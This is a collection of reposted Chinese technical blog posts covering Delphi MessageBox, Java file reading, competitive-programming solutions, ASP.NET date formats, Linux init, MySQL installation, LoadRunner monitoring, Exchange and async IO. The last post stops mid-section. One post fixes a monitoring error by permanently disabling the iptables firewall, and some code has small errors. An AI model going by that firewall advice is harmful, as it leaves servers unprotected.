function MessageBox(hWnd: HWND; Text, Caption: PChar; Type: Word): Integer; hWnd:对话框父窗口句柄,对话框显示在Delphi窗体内,可使用窗体的Handle属性,否则可用0,使其直接作为桌面窗口的子窗口。 Text:欲显示的信息字符串。 Caption:对话框标题字符串。 Type:对话框类型常量。 该函数的返回值为整数,用于对话框按钮的识别。 2、类型常量 对话框的类型常量可由按钮组合、缺省按钮、显示图标、运行模式四种常量组合而成。 (1)按钮组合常量 MB_OK = $00000000; //一个确定按钮 MB_OKCANCEL = $00000001; //一个确定按钮,一个取消按钮 MB_ABORTRETRYIGNORE = $00000002; //一个异常终止按钮,一个重试按钮,一个忽略按钮 MB_YESNOCANCEL = $00000003; //一个是按钮,一个否按钮,一个取消按钮 MB_YESNO = $00000004; //一个是按钮,一个否按钮 MB_RETRYCANCEL = $00000005; //一个重试按钮,一个取消按钮 (2)缺省按钮常量 MB_DEFBUTTON1 = $00000000; //第一个按钮为缺省按钮 MB_DEFBUTTON2 = $00000100; //第二个按钮为缺省按钮 MB_DEFBUTTON3 = $00000200; //第三个按钮为缺省按钮 MB_DEFBUTTON4 = $00000300; //第四个按钮为缺省按钮 (3)图标常量 MB_ICONHAND = $00000010; //“×”号图标 MB_ICONQUESTION = $00000020; //“?”号图标 MB_ICONEXCLAMATION = $00000030; //“!”号图标 MB_ICONASTERISK = $00000040; //“i”图标 MB_USERICON = $00000080; //用户图标 MB_ICONWARNING = MB_ICONEXCLAMATION; //“!”号图标 MB_IConERROR = MB_ICONHAND; //“×”号图标 MB_ICONINFORMATION = MB_ICONASTERISK; //“i”图标 MB_ICONSTOP = MB_ICONHAND; //“×”号图标 (4)运行模式常量 MB_APPLMODAL = $00000000; //应用程序模式,在未结束对话框前也能切换到另一应用程序 MB_SYSTEMMODAL = $00001000; //系统模式,必须结束对话框后,才能做其他操作 MB_TASKMODAL = $00002000; //任务模式,在未结束对话框前也能切换到另一应用程序 MB_HELP = $00004000; //Help Button 3、函数返回值 0 //对话框建立失败 idOk = 1 //按确定按钮 idCancel = 2 //按取消按钮 idAbout = 3 //按异常终止按钮 idRetry = 4 //按重试按钮 idIgnore = 5 //按忽略按钮 idYes = 6 //按是按钮 idNo = 7 //按否按钮 本文转自鹅倌51CTO博客,原文链接:http://blog.51cto.com/kaixinbuliao/1135826 ,如需转载请自行联系原作者
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 public static void main(String[] args) throws Exception { File file = new File("E:/a.txt"); // 100M long start = System.currentTimeMillis(); String lastLine = readLastLine(file, "gbk"); long delt = System.currentTimeMillis() - start; System.out.println(lastLine); System.out.println("读取时间(毫秒):" + delt); file = new File("E:/b.txt");// 仅一行文字 start = System.currentTimeMillis(); lastLine = readLastLine(file, "gbk"); delt = System.currentTimeMillis() - start; System.out.println(lastLine); System.out.println("读取时间(毫秒):" + delt); } public static String readLastLine(File file, String charset) throws IOException { if (!file.exists() || file.isDirectory() || !file.canRead()) { return null; } RandomAccessFile raf = null; try { raf = new RandomAccessFile(file, "r"); long len = raf.length(); if (len == 0L) { return ""; } else { long pos = len - 1; while (pos > 0) { pos--; raf.seek(pos); if (raf.readByte() == '\n') { break; } } if (pos == 0) { raf.seek(0); } byte[] bytes = new byte[(int) (len - pos)]; raf.read(bytes); if (charset == null) { return new String(bytes); } else { return new String(bytes, charset); } } } catch (FileNotFoundException e) { } finally { if (raf != null) { try { raf.close(); } catch (Exception e2) { } } } return null; } 本文转自wauoen51CTO博客,原文链接:http://blog.51cto.com/7183397/1860508 ,如需转载请自行联系原作者
汉诺塔VII Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 203 Accepted Submission(s): 174 Problem Description n个盘子的汉诺塔问题的最少移动次数是2^n-1,即在移动过程中会产生2^n个系列。由于发生错移产生的系列就增加了,这种错误是放错了柱子,并不会把大盘放到小盘上,即各柱子从下往上的大小仍保持如下关系 : n=m+p+qa1>a2>...>amb1>b2>...>bpc1>c2>...>cqai是A柱上的盘的盘号系列,bi是B柱上的盘的盘号系列, ci是C柱上的盘的盘号系列,最初目标是将A柱上的n个盘子移到C盘. 给出1个系列,判断它是否是在正确的移动中产生的系列.例1:n=3321是正确的例2:n=3312是不正确的。注:对于例2如果目标是将A柱上的n个盘子移到B盘. 则是正确的. Input 包含多组数据,首先输入T,表示有T组数据.每组数据4行,第1行N是盘子的数目N<=64.后3行如下m a1 a2 ...amp b1 b2 ...bpq c1 c2 ...cqN=m+p+q,0<=m<=N,0<=p<=N,0<=q<=N, Output 对于每组数据,判断它是否是在正确的移动中产生的系列.正确输出true,否则false Sample Input 6 3 1 3 1 2 1 1 3 1 3 1 1 1 2 6 3 6 5 4 1 1 2 3 2 6 3 6 5 4 2 3 2 1 1 3 1 3 1 2 1 1 20 2 20 17 2 19 18 16 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 Sample Output true false false false true true #include <iostream>#include <stdio.h>using namespace std; int main(){ int one[4],n[4],h[4][64],a,b,c,N,cas,i,t,flag; scanf("%d",&cas); while(cas--) { a = 1;b = 2;c = 3; one[a]=one[b]=one[c]=1; scanf("%d",&N); scanf("%d",&n[a]); for(i = one[a];i<=n[a];i++) scanf("%d",&h[a][i]); scanf("%d",&n[b]); for(i = one[b];i<=n[b];i++) scanf("%d",&h[b][i]); scanf("%d",&n[c]); for(i = one[c];i<=n[c];i++) scanf("%d",&h[c][i]); flag = 1; while(true) { if(n[b]>0&&h[b][one[b]]==N){flag = 0;break;} if(n[c]==N||n[a]==N){flag = 1;break;} if(n[a]>0&&h[a][one[a]]==N) { N--; n[a]--; one[a]++; t = b; b = c;c = t; continue; } if(n[c]>0&&h[c][one[c]]==N) { N--; n[c]--; one[c]++; t = a;a = b;b = t; continue; } } if(flag)printf("true\n"); else printf("false\n"); } return 0;} 本文转自NewPanderKing51CTO博客,原文链接:http://www.cnblogs.com/newpanderking/archive/2011/07/29/2120984.html ,如需转载请自行联系原作者
用 GridView 绑定时间字段时需要把时间格式化成想要的格式比如:DataFormatString="{0:yyyy-MM-dd}"; 但得到的效果仍然时默认的全部显示格式,为什么呢时因为您少设置了一项 htmlencode属性,默认时true,把此属性更改为false即可! 如: <asp:BoundField DataField="SendTime" SortExpression="SendTime" HtmlEncode="false" DataFormatString="{0:yyyy-MM-dd}"> </asp:BoundField> 在DataFormatString 中的 {0} 表示数据本身,而在冒号后面的格式字符串代表所们希望数据显示的格式; 数字、货币格式: 在指定的格式符号后可以指定小数所要显示的位数。例如原来的数据为「1.56」,若格式设定为 {0:N1},则输出为「1.5」。其常用的数值格式如下表所示: 格式字符串 输入 结果 "{0:C}" 12345.6789 $12,345.68 "{0:C}" -12345.6789 ($12,345.68) "{0:D}" 12345 12345 "{0:D8}" 12345 00012345 "{0:E}" 12345.6789 1234568E+004 "{0:E10}" 12345.6789 1.2345678900E+004 "{0:F}" 12345.6789 12345.68 "{0:F0}" 12345.6789 12346 "{0:G}" 12345.6789 12345.6789 "{0:G7}" 123456789 1.234568E8 "{0:N}" 12345.6789 12,345.68 "{0:N4}" 123456789 123,456,789.0000 "Total: {0:C}" 12345.6789 Total: $12345.68 常用的日期时间格式: 格式 说明 输出格式 d 精简日期格式 MM/dd/yyyy D 详细日期格式 dddd, MMMM dd, yyyy f 完整格式 (long date + short time) dddd, MMMM dd, yyyy HH:mm F 完整日期时间格式 (long date + long time) dddd, MMMM dd, yyyy HH:mm:ss g 一般格式 (short date + short time) MM/dd/yyyy HH:mm G 一般格式 (short date + long time) MM/dd/yyyy HH:mm:ss m,M 月日格式 MMMM dd s 适中日期时间格式 yyyy-MM-dd HH:mm:ss t 精简时间格式 HH:mm T 详细时间格式 HH:mm:ss 日期转化一 为了达到不同的显示效果有时,我们需要对时间进行转化,默认格式为:2007-01-03 14:33:34 ,要转化为其他格式,要用到DateTime.ToString的方法(String, IFormatProvider),如下所示: using System; using System.Globalization; String format="D"; DateTime date=DataTime,Now; Response.Write(date.ToString(format, DateTimeFormatInfo.InvariantInfo)); 结果输出 Thursday, June 16, 2005 参数format格式详细用法: 格式字符 关联属性/说明 d ShortDatePattern D LongDatePattern f 完整日期和时间(长日期和短时间) F FullDateTimePattern(长日期和长时间) g 常规(短日期和短时间) G 常规(短日期和长时间) m、M MonthDayPattern r、R RFC1123Pattern s 使用当地时间的 SortableDateTimePattern(基于 ISO 8601) t ShortTimePattern T LongTimePattern u UniversalSortableDateTimePattern 用于显示通用时间的格式 U 使用通用时间的完整日期和时间(长日期和长时间) y、Y YearMonthPattern 下表列出了可被合并以构造自定义模式的模式。这些模式是区分大小写的;例如,识别“MM”,但不识别“mm”。如果自定义模式包含空白字符或用单引号括起来的字符,则输出字符串页也将包含这些字符。未定义为格式模式的一部分或未定义为格式字符的字符按其原义复制。 格式模式 说明 d 月中的某一天。一位数的日期没有前导零。 dd 月中的某一天。一位数的日期有一个前导零。 ddd 周中某天的缩写名称,在 AbbreviatedDayNames 中定义。 dddd 周中某天的完整名称,在 DayNames 中定义。 M 月份数字。一位数的月份没有前导零。 MM 月份数字。一位数的月份有一个前导零。 MMM 月份的缩写名称,在 AbbreviatedMonthNames 中定义。 MMMM 月份的完整名称,在 MonthNames 中定义。 y 不包含纪元的年份。如果不包含纪元的年份小于 10,则显示不具有前导零的年份。 yy 不包含纪元的年份。如果不包含纪元的年份小于 10,则显示具有前导零的年份。 yyyy 包括纪元的四位数的年份。 gg 时期或纪元。如果要设置格式的日期不具有关联的时期或纪元字符串,则忽略该模式。 h 12 小时制的小时。一位数的小时数没有前导零。 hh 12 小时制的小时。一位数的小时数有前导零。 H 24 小时制的小时。一位数的小时数没有前导零。 HH 24 小时制的小时。一位数的小时数有前导零。 m 分钟。一位数的分钟数没有前导零。 mm 分钟。一位数的分钟数有一个前导零。 s 秒。一位数的秒数没有前导零。 ss 秒。一位数的秒数有一个前导零。 f 秒的小数精度为一位。其余数字被截断。 ff 秒的小数精度为两位。其余数字被截断。 fff 秒的小数精度为三位。其余数字被截断。 ffff 秒的小数精度为四位。其余数字被截断。 fffff 秒的小数精度为五位。其余数字被截断。 ffffff 秒的小数精度为六位。其余数字被截断。 fffffff 秒的小数精度为七位。其余数字被截断。 t 在 AMDesignator 或 PMDesignator 中定义的 AM/PM 指示项的第一个字符(如果存在)。 tt 在 AMDesignator 或 PMDesignator 中定义的 AM/PM 指示项(如果存在)。 z 时区偏移量(“+”或“-”后面仅跟小时)。一位数的小时数没有前导零。例如,太平洋标准时间是“-8”。 zz 时区偏移量(“+”或“-”后面仅跟小时)。一位数的小时数有前导零。例如,太平洋标准时间是“-08”。 zzz 完整时区偏移量(“+”或“-”后面跟有小时和分钟)。一位数的小时数和分钟数有前导零。例如,太平洋标准时间是“-08:00”。 : 在 TimeSeparator 中定义的默认时间分隔符。 / 在 DateSeparator 中定义的默认日期分隔符。 % c 其中 c 是格式模式(如果单独使用)。如果格式模式与原义字符或其他格式模式合并,则可以省略“%”字符。 / c 其中 c 是任意字符。照原义显示字符。若要显示反斜杠字符,请使用“//”。 只有上面第二个表中列出的格式模式才能用于创建自定义模式;在第一个表中列出的标准格式字符不能用于创建自定义模式。自定义模式的长度至少为两个字符;例如, DateTime.ToString( "d") 返回 DateTime 值;“d”是标准短日期模式。 DateTime.ToString( "%d") 返回月中的某天;“%d”是自定义模式。 DateTime.ToString( "d ") 返回后面跟有一个空白字符的月中的某天;“d”是自定义模式。 比较方便的是,上面的参数可以随意组合,并且不会出错,多试试,肯定会找到你要的时间格式 如要得到2005年06月 这样格式的时间 可以这样写: date.ToString("yyyy年MM月", DateTimeFormatInfo.InvariantInfo) 日期转化二 DateTime dt = DateTime.Now; Label1.Text = dt.ToString();//2005-11-5 13:21:25 Label2.Text = dt.ToFileTime().ToString();//127756416859912816 Label3.Text = dt.ToFileTimeUtc().ToString();//127756704859912816 Label4.Text = dt.ToLocalTime().ToString();//2005-11-5 21:21:25 Label5.Text = dt.ToLongDateString().ToString();//2005年11月5日 Label6.Text = dt.ToLongTimeString().ToString();//13:21:25 Label7.Text = dt.ToOADate().ToString();//38661.5565508218 Label8.Text = dt.ToShortDateString().ToString();//2005-11-5 Label9.Text = dt.ToShortTimeString().ToString();//13:21 Label10.Text = dt.ToUniversalTime().ToString();//2005-11-5 5:21:25 Label1.Text = dt.Year.ToString();//2005 Label2.Text = dt.Date.ToString();//2005-11-5 0:00:00 Label3.Text = dt.DayOfWeek.ToString();//Saturday Label4.Text = dt.DayOfYear.ToString();//309 Label5.Text = dt.Hour.ToString();//13 Label6.Text = dt.Millisecond.ToString();//441 Label7.Text = dt.Minute.ToString();//30 Label8.Text = dt.Month.ToString();//11 Label9.Text = dt.Second.ToString();//28 Label10.Text = dt.Ticks.ToString();//632667942284412864 Label11.Text = dt.TimeOfDay.ToString();//13:30:28.4412864 Label1.Text = dt.ToString();//2005-11-5 13:47:04 Label2.Text = dt.AddYears(1).ToString();//2006-11-5 13:47:04 Label3.Text = dt.AddDays(1.1).ToString();//2005-11-6 16:11:04 Label4.Text = dt.AddHours(1.1).ToString();//2005-11-5 14:53:04 Label5.Text = dt.AddMilliseconds(1.1).ToString();//2005-11-5 13:47:04 Label6.Text = dt.AddMonths(1).ToString();//2005-12-5 13:47:04 Label7.Text = dt.AddSeconds(1.1).ToString();//2005-11-5 13:47:05 Label8.Text = dt.AddMinutes(1.1).ToString();//2005-11-5 13:48:10 Label9.Text = dt.AddTicks(1000).ToString();//2005-11-5 13:47:04 Label10.Text = dt.CompareTo(dt).ToString();//0 Label11.Text = dt.Add(?).ToString();//问号为一个时间段 Label1.Text = dt.Equals("2005-11-6 16:11:04").ToString();//False Label2.Text = dt.Equals(dt).ToString();//True Label3.Text = dt.GetHashCode().ToString();//1474088234 Label4.Text = dt.GetType().ToString();//System.DateTime Label5.Text = dt.GetTypeCode().ToString();//DateTime Label1.Text = dt.GetDateTimeFormats('s')[0].ToString();//2005-11-05T14:06:25 Label2.Text = dt.GetDateTimeFormats('t')[0].ToString();//14:06 Label3.Text = dt.GetDateTimeFormats('y')[0].ToString();//2005年11月 Label4.Text = dt.GetDateTimeFormats('D')[0].ToString();//2005年11月5日 Label5.Text = dt.GetDateTimeFormats('D')[1].ToString();//2005 11 05 Label6.Text = dt.GetDateTimeFormats('D')[2].ToString();//星期六 2005 11 05 Label7.Text = dt.GetDateTimeFormats('D')[3].ToString();//星期六 2005年11月5日 Label8.Text = dt.GetDateTimeFormats('M')[0].ToString();//11月5日 Label9.Text = dt.GetDateTimeFormats('f')[0].ToString();//2005年11月5日 14:06 Label10.Text = dt.GetDateTimeFormats('g')[0].ToString();//2005-11-5 14:06 Label11.Text = dt.GetDateTimeFormats('r')[0].ToString();//Sat, 05 Nov 2005 14:06:25 GMT Label1.Text = string.Format("{0:d}",dt);//2005-11-5 Label2.Text = string.Format("{0:D}",dt);//2005年11月5日 Label3.Text = string.Format("{0:f}",dt);//2005年11月5日 14:23 Label4.Text = string.Format("{0:F}",dt);//2005年11月5日 14:23:23 Label5.Text = string.Format("{0:g}",dt);//2005-11-5 14:23 Label6.Text = string.Format("{0:G}",dt);//2005-11-5 14:23:23 Label7.Text = string.Format("{0:M}",dt);//11月5日 Label8.Text = string.Format("{0:R}",dt);//Sat, 05 Nov 2005 14:23:23 GMT Label9.Text = string.Format("{0:s}",dt);//2005-11-05T14:23:23 Label10.Text string.Format("{0:t}",dt);//14:23 Label11.Text = string.Format("{0:T}",dt);//14:23:23 Label12.Text = string.Format("{0:u}",dt);//2005-11-05 14:23:23Z Label13.Text = string.Format("{0:U}",dt);//2005年11月5日 6:23:23 Label14.Text = string.Format("{0:Y}",dt);//2005年11月 Label15.Text = string.Format("{0}",dt);//2005-11-5 14:23:23 Label16.Text = string.Format("{0:yyyyMMddHHmmssffff}",dt); 本文转自51GT51CTO博客,原文链接:http://blog.51cto.com/yataigp/2055258 ,如需转载请自行联系原作者
Train Problem II Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 138 Accepted Submission(s): 80 Problem Description As we all know the Train Problem I, the boss of the Ignatius Train Station want to know if all the trains come in strict-increasing order, how many orders that all the trains can get out of the railway. Input The input contains several test cases. Each test cases consists of a number N(1<=N<=100). The input is terminated by the end of file. Output For each test case, you should output how many ways that all the trains can get out of the railway. Sample Input 1 2 3 10 Sample Output 1 2 5 16796 Hint The result will be very large, so you may not process it by 32-bit integers. #include"stdio.h" #include"string.h" int ch[101][200]={0}; int temp[200]={0}; int add(int* x,int* y) { int i; for(i=0;x[i]!=0&&y[i]!=0;i++) { x[i]+=y[i]-'0'; } for(i;y[i]!=0;i++) x[i]+=y[i]; int t; for(t=0;x[t]!=0;t++) { if(x[t+1]!=0) x[t+1]+=(x[t]-'0')/10; else { if((x[t]-'0')/10!=0) x[t+1]+=(x[t]-'0')/10+'0'; else x[t+1]=0; } x[t]=(x[t]-'0')%10+'0'; } return t; } int* mul(int* x,int* y) { for(int i=0;i<200;i++) temp[i]=0; for(int i=0;x[i]!=0;i++) for(int j=0;y[j]!=0;j++) { if(temp[i+j]!=0) temp[i+j]+=(x[i]-'0')*(y[j]-'0'); else temp[i+j]+=(x[i]-'0')*(y[j]-'0')+'0'; } int length=0; while(temp[length]!=0) length++; for(int t=0;t<length;t++) { temp[t+1]+=(temp[t]-'0')/10; temp[t]=(temp[t]-'0')%10+'0'; } if(temp[length]!=0) temp[length]+='0'; while(temp[length]!=0) { if((temp[length]-'0')/10!=0) temp[length+1]+=temp[length]/10+'0'; temp[length]=(temp[length]-'0')%10+'0'; length++; } return temp; } int main() { ch[0][0]='1'; ch[1][0]='1'; for(int i=2;i<=100;i++) { for(int j=0;j<i;j++) { add(ch[i],mul(ch[j],ch[i-j-1])); } } int n,t=199; while(scanf("%d",&n)>0) { t=199; while(t>=0) { if(ch[n][t]!=0) printf("%c",ch[n][t]); t--; } printf("\n"); } return 0; } 本文转自NewPanderKing51CTO博客,原文链接:http://www.cnblogs.com/newpanderking/archive/2011/07/29/2121146.html ,如需转载请自行联系原作者
Children’s Queue Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 160 Accepted Submission(s): 102 Problem Description There are many students in PHT School. One day, the headmaster whose name is PigHeader wanted all students stand in a line. He prescribed that girl can not be in single. In other words, either no girl in the queue or more than one girl stands side by side. The case n=4 (n is the number of children) is likeFFFF, FFFM, MFFF, FFMM, MFFM, MMFF, MMMMHere F stands for a girl and M stands for a boy. The total number of queue satisfied the headmaster’s needs is 7. Can you make a program to find the total number of queue with n children? Input There are multiple cases in this problem and ended by the EOF. In each case, there is only one integer n means the number of children (1<=n<=1000) Output For each test case, there is only one integer means the number of queue satisfied the headmaster’s needs. Sample Input 1 2 3 Sample Output 1 2 4 注意: 1、递归公式 1)m 2)mff 3)mfff a:安全序列后加ff或者m,结果仍然安全。 b:不安全序列后加ff可使其安全,虽然mf加f也能得到安全序列,但与a情况重复。 故:公式a[n]=a[n-1]+a[n-2]+a[n-4]; 2、大数,高精度问题。可以用二维数组模拟大数计算。n=1000时输出结果: 12748494904808148294446671041721884239818005733501580815621713101333980596197474 74433619974245291299822523591089179822154130383839594330018972951428262366519975 47955743099808702532134666561848656816661065088789701201682837073071502397487823 19037 #include <stdio.h> int a[1001][101]={0}; void add(int n) { int k=0,j; for(j = 1;j<101;j++) { k += a[n-1][j] + a[n-2][j] + a[n-4][j]; a[n][j] = k%10000; k = k/10000; // printf("%d",k); } while(k) { a[n][j++] = k%10000; k = k/10000; } } int main() { a[1][1] = 1; a[2][1] = 2; a[3][1] = 4; a[4][1] = 7; int n,i; for(i = 5;i<1001;i++) { add(i); } while(scanf("%d",&n)!=EOF) { for(i = 100;i > 0;i--) { if(a[n][i]!=0)break; } printf("%d",a[n][i]); for(i=i-1;i>0;i--) { printf("%04d",a[n][i]); } printf("\n"); } return 0; }
/sbin/init:(/etc/inittab) id:3:initdefault: id:标识符 3:运行级别 initdefault:设定为默认运行级别 ACTION:动作 initdefault:设定默认运行级别 sysinit:系统初始化 wait:等待级别切换完成 respawn:一旦程序终止,会重新启动 /etc/rc.d/rc.sysinit完成的任务,进行OS初始化: 1、激活udev和selinux; 2、根据/etc/sysctl.conf文件,来设定内核参数; 3、设定时钟; 4、装载硬盘映射; 5、启用交换分区; 6、设置主机名; 7、根文件系统检测,并以读写方式重新挂载; 8、激活软RAID和LVM设备; 9、启用磁盘配额; 10、根据/etc/fstab检查并挂载其他文件系统; 11、清理过期的锁和PID文件; 服务类脚本: start sysV: /etc/rc.d/init.d start|stop|restart|status reload|configtest chkconfig # chkconfig: runlevels SS KK 当chkconfig命令来为此脚本在rc#.d目录创建链接时,runlevels表示默认创建为S* 开头的链接,除此之外的级别默认创建为K*开头的链接; # description:用于说明此脚本的简单功能; \续行,一行无法输入需用\续接 chkconfig --list: 查看所有独立守护服务的启动设定;独立守护进程。 chkconfig --list SERVICE_NAME 查看某个服务的启动设定 [root@xuelinux init.d]# chkconfig --list network network 0:关闭1:关闭2:启用3:启用4:启用5:启用6:关闭 [root@xuelinux init.d]# chkconfig --list NetworkManager 0:关闭1:关闭2:启用3:启用4:启用5:启用6:关闭 abrt-ccpp 0:关闭1:关闭2:关闭3:启用4:关闭5:启用6:关闭 abrtd 0:关闭1:关闭2:关闭3:启用4:关闭5:启用6:关闭 acpid 0:关闭1:关闭2:启用3:启用4:启用5:启用6:关闭 atd 0:关闭1:关闭2:关闭3:启用4:启用5:启用6:关闭 auditd 0:关闭1:关闭2:启用3:启用4:启用5:启用6:关闭 autofs 0:关闭1:关闭2:关闭3:启用4:启用5:启用6:关闭 blk-availability0:关闭1:启用2:启用3:启用4:启用5:启用6:关闭 certmonger 0:关闭1:关闭2:关闭3:启用4:启用5:启用6:关闭 cgconfig 0:关闭1:关闭2:启用3:启用4:启用5:启用6:关闭 chkconfig --add SERVICE_NAME 把独立守护的启动加入到chkconfig列表中 chkconfig --del SERVICE_NAME 把独立守护的启动进程从chkconfig列表中删除 chkconfig [--level LEVEL级别] SERVICE_NAME {on|off} 加入到自动启动或者关闭进程中。 如果不指定--level级别,默认为2345级别; /etc/rc.d/rc.local:系统最后启动的一个服务器,准确的说,应该是执行的脚本。 /etc/inittab的任务: 1、设定默认运行级别; 2、运行系统初始化脚本; 3、运行指定运行级别对应的目录下的脚本; 4、设定Ctrl+Alt+Del组合键的操作; 5、定义UPS电源在电源故障/恢复时执行的操作; 6、启动虚拟终端(2345级别); 7、启动图形终端(5级别); 守护进程的类型: 独立守护进程 xinetd:超级守护进程,代理人 瞬时守护进程,不需要关联至运行级别 本文转自wang650108151CTO博客,原文链接:http://blog.51cto.com/woyaoxuelinux/1880730 ,如需转载请自行联系原作者
关于mysql数据库在Linux下的应用一直以来都是我认为比较棘手的,这次通过搭建Linux学习环境顺便研究和学习Mysql数据库在Linux下安装和卸载。 1、先来看看卸载吧,如下图所示: 以上的命令就一目了然了,注意在卸载完成之后需要删除配置文件/etc/my.cnf和数据库文件/var/lib/mysql。 2、再来讲解安装吧,先下载下面两个rpm包,这里主要是以rpm安装方式进行讲解,关于源程序包的安装方式以后再叙。 先安装服务器端程序,安装如下图所示: 服务器端安装完成之后,在/usr/share/mysql目录中会生成一个mysql启动脚本mysql.server和一些示例配置文件,其中有一个配置文件my-medium.cnf,因为mysql安装完成之后就默认成为系统服务,所以这里需要将配置文件放在系统服务的相关目录下,因为需要做如下操作: cp /usr/share/mysql/my-medium.cnf /etc/my.cnf,改名为my.cnf作为mysql配置文件。 下面看看如何启动和停止mysql服务,如下图所示: 到此mysql服务端的安装配置完成。 3、安装mysql客户端程序 安装命令如同服务器一样:rpm -ivh MySQL-client-5.5.8-1.linux2.6.i386.rpm mysql安装还后目录结构如下: 服务器程序为/usr/sbin/mysqld 数据目录为/var/lib/mysql,默认情况下要日志文件都存放在/var/lib/mysql下,如果要改变其存放位置,可以通过更改/etc/my.cnf配置文件实现。 4、登录mysql数据库,默认安装完成之后mysql的用户名为root,密码为空,所以如果安装成功后登录应该如下图所示: 如上图所示就已经成功登录mysql数据库了。 5、登录进入数据库之后,导入数据库脚本,命令如下: source /root/test.sql,完成即可。 关于linux中是否需要配置jsp和mysql的连接,由于在程序已经编写了连接数据库程序,所以此处不需要设置什么,只需要调整数据库配置文件的中连接地址即可。 综上所述收录了mysql的安装和卸载过程,一应俱全。 本文转自一米一阳光博客园博客,原文链接:http://www.cnblogs.com/candle806/archive/2011/01/18/1938381.html ,如需转载请自行联系原作者
前一段时间在研究LoadRunner过程中,在进行压力场景测试中通过LoadRunner来实时监控windows的系统资源,在前几节中我已经总结了相关过程,近段时间发现群里有朋友问如何监控Linux下的系统资源,所以我也就此问题搭建了一些的Linux环境,并在Linux下部署了一个web应用程序,来进行压力测试实例的讲解,在此就总结了如何设置LoadRuner来实时监控Linux系统资源。 关于LoadRunner监控Linux系统资源,大致分为以下步骤: 1、在监控Linux之前我想阐述的观点是,Liunx系统机制与windows大致相同,要监控并得到他的相关参数必须需要得到它的同意,这就是操作系统,所以你必须有足够的权限和方法才能获得,关于Linux在LR中也相关添加区域,与windows享有同等的地位。在windows中需要开启许多许多权限,以及一些远程访问的进程,当前在Linux中也不例外,在Linux下有一个进程是必须的,那就是系统守护进程rpc.restat,相信守护进程大家并不陌生,通常在Linux系统的引导的时候启动的很多服务,这些服务就是守护进程,而且它脱离于终端在后台运行的。 所以首先要查看系统是否开启了rpc服务,通过命令rpcinfo -p来查看 如上图可以看到,如果开启了四个rstatd服务就说明,该rpc守护进程服务启动是成功的。如果没有该服务,就需要手动安装了 下载地址:http://heanet.dl.sourceforge.net/sourceforge/rstatd/ 安装:一次执行--tar -xzvf rpc.rstatd-4.0.1.tar.gz //解压安装包 cd rpc.rstatd-4.0.1 //进入到rpc.rstatd目录中 ./configure //配置rc.rstatd安装 make //编辑rc.rstatd make install //安装 2、重启端口映射服务portmap /etc/rc.d/init.d/portmap start //启动portmap 找到portmap服务就ok 3、通过命令rpcinfo -p来检测即可,如1中图所示证明,服务安装和启动是成功的。 4、在LoadRunner场景中添加linux系统资源项 这里需要注意的一点是,当我们第一次添加linux资源服务时,可能会提示错误信息,提示为rpc服务在客户端添加失败,如果遇到这种情况,可能大家又觉得又要失望,不要担心,分析错误的原因,基本可以确定远程没有获取到rpc服务,应该是被什么被劫持了,来看看系统防火墙,cat /etc/sysconfig/iptables的配置,果然需要加入rpc访问策略,为此我关闭了防火墙服务,所以就不需要设置防火墙策略了,命令为: chkconfig iptables on //永久性启动防火墙 chkconfig iptables off //永久性关闭防火墙 关闭防火墙之后再在LoadRunner场景中添加Linux资源,如下图所示: 看到如上的图表和曲线图就表示配置ok了,攻破LoadRunner我们取得一些进步。 本文转自一米一阳光博客园博客,原文链接: http://www.cnblogs.com/candle806/archive/2011/01/18/1938286.html ,如需转载请自行联系原作者
说明:林:kernel.com 域1:kernel.com 域2:contoso.com 域1与域2完全信任; exchange 2010处于kernel.com 问题: 在exchange2010中新建邮箱,选择contoso域中的用户时,创建报错:Active directory 00002098 解决方法: 执行如下一些命令: setup /preparealldomains setup /PrepareLegacyExchangePermissions:<domain FQDN>, /pl:<domain FQDN> 按如上操作后,可以创建contoso域中用户的邮箱了 本文转自careluck51CTO博客,原文链接:http://blog.51cto.com/brave8898/1882267 ,如需转载请自行联系原作者
http://blog.csdn.net/sdvch/article/details/12587515 设置IP和掩码 1 ifconfig eth0 192.168.5.40 netmask 255.255.255.0 设置网关 1 route add default gw 192.168.5.1 本文转自fatshi51CTO博客,原文链接:http://blog.51cto.com/duallay/1940243 ,如需转载请自行联系原作者
异步IO由于它的非阻塞特性和强大的并发能力,非常适合用在要求高并发和高吞吐率的场景,比如用在提供SAN存储的块设备读写的实现上。和传统IO模式类似,异步IO提供了一次提交一个IO请求的模式,还提供了一次提交一组IO请求的方式。下面将分别介绍这两种模式的使用方法和差异。 单个处理模式 下面对一个长度为BUF_LEN的buffer,提交了MAX_IO个单个处理的IO请求,每个请求处理BUF_LEN/MAX_IO这么长的数据。为了便于读者实际上机验证,下面贴出了具体处理的代码: .............................................................................................. int main(int argc, char * argv[]) { io_context_t ctx_id = 0; struct iocb mycb[MAX_AIO]; struct iovec myiov[MAX_AIO]; struct io_event events[MAX_AIO]; const int aioto = 5000000; io_callback_t cb = my_callback; unsigned nr_events = MAX_AIO; int i, lenperIo, done, cnt = 0; char buf[BUF_LEN]; memset(mycb, 0, sizeof(mycb)); memset(myiov, 0, sizeof(myiov)); int fd = open("./text.txt", O_CREAT | O_RDWR); assert(fd >= 0); memset(buf, 'a', BUF_LEN); io_setup(nr_events, &ctx_id); lenperIo = BUF_LEN/MAX_AIO; for (i = 0; i < MAX_AIO; i++) { io_prep_pwrite(&mycb[i], fd, lenperIo * i + (char *)buf, lenperIo, lenperIo * i); io_set_callback(&mycb[i], my_callback); mycb[i].key = i; events[i].obj = &mycb[i]; } struct timespec ts; ts.tv_sec = 0; ts.tv_nsec = aioto * 1000; while (cnt < MAX_AIO) { done = io_getevents(ctx_id, 1, MAX_AIO, events, &ts); cnt += done; printf("Finish %d coming IO!\n", done); sleep(1); } for (i = 0; i < MAX_AIO; i++) { cb = (io_callback_t)(events[i].data); cb(ctx_id, (struct iocb *)events[i].obj, i, 0); printf("events[%d]: obj = %p res = %ld res2 = %ld\n", i, events[i].obj, events[i].res, events[i].res2); } printf("My callback address : %p\n", (void *)my_callback); close(fd); } .............................................................................................. 可以看到,上面是多次提交io_prep_pwrite(),然后通过检查是否收到相应数目的event来判断IO是否完成。 2. 批量处理模式 